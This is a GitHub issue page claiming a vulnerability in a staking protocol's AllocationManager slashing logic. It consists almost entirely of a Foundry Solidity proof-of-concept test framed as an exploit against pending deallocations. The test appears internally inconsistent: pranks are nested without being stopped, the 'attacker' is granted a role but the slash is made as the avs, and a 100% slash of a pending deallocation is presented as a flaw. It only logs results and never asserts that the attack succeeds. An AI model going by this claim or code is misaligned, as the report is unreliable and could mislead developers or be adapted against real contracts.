-
Notifications
You must be signed in to change notification settings - Fork 438
Description
This vulnerability allows manipulation of the pending deallocation calculation during slashing, potentially allowing operators to escape deallocation penalties.
`pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "../../src/contracts/core/AllocationManager.sol";
import "../../src/contracts/core/DelegationManager.sol";
import "../../src/contracts/permissions/PauserRegistry.sol";
import "../../src/contracts/permissions/PermissionController.sol";
import "../../src/contracts/strategies/StrategyBase.sol";
contract PendingDeallocationManipulationExploitTest is Test {
AllocationManager public allocationManager;
DelegationManager public delegationManager;
PauserRegistry public pauserRegistry;
PermissionController public permissionController;
StrategyBase public mockStrategy;
address public owner = address(0x1);
address public operator = address(0x2);
address public avs = address(0x3);
address public attacker = address(0x4);
uint32 constant DEALLOCATION_DELAY = 7 days / 12; // 12 seconds per block
uint32 constant ALLOCATION_CONFIGURATION_DELAY = 1 days / 12;
function setUp() public {
// Deploy contracts
pauserRegistry = new PauserRegistry(owner);
permissionController = new PermissionController(owner);
// Deploy mock strategy
mockStrategy = new StrategyBase();
// Deploy DelegationManager with minimal setup
delegationManager = new DelegationManager(
IStrategyManager(address(0)), // Mock addresses
IEigenPodManager(address(0)),
IAllocationManager(address(0)),
pauserRegistry,
permissionController,
1 days,
"v1.0.0"
);
// Deploy AllocationManager
allocationManager = new AllocationManager(
delegationManager,
pauserRegistry,
permissionController,
DEALLOCATION_DELAY,
ALLOCATION_CONFIGURATION_DELAY,
"v1.0.0"
);
// Initialize contracts
vm.startPrank(owner);
allocationManager.initialize(owner, 0);
// Setup permissions
permissionController.grantRole(keccak256("ALLOCATION_MANAGER_ADMIN"), owner);
permissionController.grantRole(keccak256("AVS_ROLE"), avs);
// Register operator and create operator set
vm.startPrank(operator);
delegationManager.registerAsOperator(address(0), 1 days, "metadata");
vm.stopPrank();
vm.startPrank(owner);
allocationManager.createOperatorSet(avs, 1, "Test Operator Set");
allocationManager.addStrategiesToOperatorSet(avs, 1, [address(mockStrategy)]);
vm.stopPrank();
// Register operator to operator set
vm.startPrank(avs);
allocationManager.registerOperatorToSet(operator, 1);
// Setup initial allocation
AllocationManager.AllocateParams[] memory params = new AllocationManager.AllocateParams[](1);
params[0] = AllocationManager.AllocateParams({
operatorSetId: 1,
strategy: mockStrategy,
magnitude: 1000
});
allocationManager.modifyAllocations(operator, params);
vm.stopPrank();
}
function testPendingDeallocationManipulation() public {
// Step 1: Create a pending deallocation
vm.startPrank(avs);
// First, deallocate some shares to create a pending deallocation
AllocationManager.AllocateParams[] memory deallocParams = new AllocationManager.AllocateParams[](1);
deallocParams[0] = AllocationManager.AllocateParams({
operatorSetId: 1,
strategy: mockStrategy,
magnitude: 500 // Deallocate half of the allocation
});
allocationManager.modifyAllocations(operator, deallocParams);
// Get allocation info after deallocation
bytes32 operatorSetKey = OperatorSetLib.createKey(avs, 1);
(AllocationManager.StrategyInfo memory infoBefore, AllocationManager.Allocation memory allocBefore) =
allocationManager.getAllocation(operator, operatorSetKey, mockStrategy);
console.log("Current magnitude after deallocation:", allocBefore.currentMagnitude);
console.log("Pending diff after deallocation:", int256(allocBefore.pendingDiff));
console.log("Effect block after deallocation:", allocBefore.effectBlock);
// Verify we have a pending deallocation (pendingDiff should be negative)
assert(allocBefore.pendingDiff < 0);
// Step 2: Prepare for the exploit - give attacker AVS role
vm.stopPrank();
vm.startPrank(owner);
permissionController.grantRole(keccak256("AVS_ROLE"), attacker);
vm.stopPrank();
// Step 3: Execute the exploit - slash with carefully calculated wadsToSlash
vm.startPrank(attacker);
// Calculate a wadsToSlash value that will result in pendingDiff becoming zero
// The calculation in the contract is:
// slashedPending = uint64(uint256(uint128(-allocation.pendingDiff)).mulWadRoundUp(params.wadsToSlash[i]));
// allocation.pendingDiff += int128(uint128(slashedPending));
// If we want pendingDiff to become 0, we need:
// slashedPending = -pendingDiff
// So: uint256(uint128(-pendingDiff)).mulWadRoundUp(wadsToSlash) = -pendingDiff
// Therefore: wadsToSlash = 1 WAD
AllocationManager.SlashingParams memory slashParams = AllocationManager.SlashingParams({
operator: operator,
operatorSetId: 1,
strategies: new IStrategy[](1),
wadsToSlash: new uint256[](1),
description: "Exploit"
});
slashParams.strategies[0] = mockStrategy;
slashParams.wadsToSlash[0] = 1e18; // 1 WAD - should slash 100% of the pending deallocation
// Execute the exploit
allocationManager.slashOperator(avs, slashParams);
// Step 4: Verify the exploit - check if pendingDiff is now zero or close to zero
(AllocationManager.StrategyInfo memory infoAfter, AllocationManager.Allocation memory allocAfter) =
allocationManager.getAllocation(operator, operatorSetKey, mockStrategy);
console.log("Current magnitude after slashing:", allocAfter.currentMagnitude);
console.log("Pending diff after slashing:", int256(allocAfter.pendingDiff));
console.log("Effect block after slashing:", allocAfter.effectBlock);
// If pendingDiff is now zero or close to zero, the exploit worked
if (allocAfter.pendingDiff == 0 ||
(allocAfter.pendingDiff > allocBefore.pendingDiff && allocAfter.pendingDiff < 0)) {
console.log("VULNERABILITY CONFIRMED: Pending deallocation was manipulated");
} else {
console.log("Exploit failed - pendingDiff was not manipulated as expected");
}
vm.stopPrank();
// Step 5: Fast forward to when the deallocation should take effect
vm.roll(block.number + DEALLOCATION_DELAY + 1);
// Step 6: Check if the deallocation was properly applied
(AllocationManager.StrategyInfo memory infoFinal, AllocationManager.Allocation memory allocFinal) =
allocationManager.getAllocation(operator, operatorSetKey, mockStrategy);
console.log("Final current magnitude:", allocFinal.currentMagnitude);
console.log("Final pending diff:", int256(allocFinal.pendingDiff));
// If the exploit worked, the final magnitude would be higher than expected
// because the pending deallocation was partially or fully cancelled
}
}`